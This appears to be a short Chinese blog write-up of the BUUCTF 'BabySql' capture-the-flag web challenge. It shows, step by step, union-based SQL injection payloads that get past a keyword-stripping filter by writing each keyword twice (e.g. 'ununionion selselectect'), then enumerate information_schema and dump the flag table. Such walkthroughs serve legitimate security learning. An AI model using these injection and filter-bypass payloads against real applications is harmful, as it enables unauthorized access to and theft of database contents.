BUUCTF WEB BabySql

原创

显哥无敌 于 2021-09-03 14:59:14 发布 67 收藏

分类专栏： BUUCTF 文章标签： web安全

本文链接：https://blog.csdn.net/qq_41696858/article/details/120081953

题其实没什么，就是一个双写绕过waf的问题

按照常理，admin’ 123监测是否单引号闭合，直接给出注入点，且有回显

经过测试，waf过滤了or，by那么爆破列数的时候(直接输入order by 1会回显der 1)：

admin’ oorrder bbyy 1#

测试到4的时候会出现unknown_column,那么列数是3

-1’ ununionion selselectect 1,2,3#

下面爆破数据库，union select同样被过滤，同样双写

-1’ ununionion selselectect 1,database(),3# 当前数据库是geek

from,where被过滤

-1’ ununionion selselectect 1,group_concat(table_name),3 frfromom infoorrmation_schema.tables whwhereere table_schema=‘geek’ #

很遗憾，flag并不在当前数据库，那么找找flag在哪，以列名为标准，爆破数据库，爆出来在ctf库

-1’ ununionion seselectlect 1,group_concat(table_schema),3 frfromom infoorrmation_schema.columns whwhereere COLUMN_NAME LIKE ‘%flag%’ #

那么查找ctf库的表名，只有一张表，Flag

-1’ ununionion seselectlect 1,group_concat(table_name),3 frfromom infoorrmation_schema.tables whwhereere table_schema=‘ctf’ #

查找Flag表的列名：只有一列flag

-1’ ununionion seselectlect 1,group_concat(column_name),3 frfromom infoorrmation_schema.columns whwhereere table_name=‘Flag’ #

爆破flag

-1’ ununionion seselectlect 1,group_concat(flag),3 frfromom ctf.Flag#

参考视频链接：https://www.bilibili.com/video/BV16w411f7yF/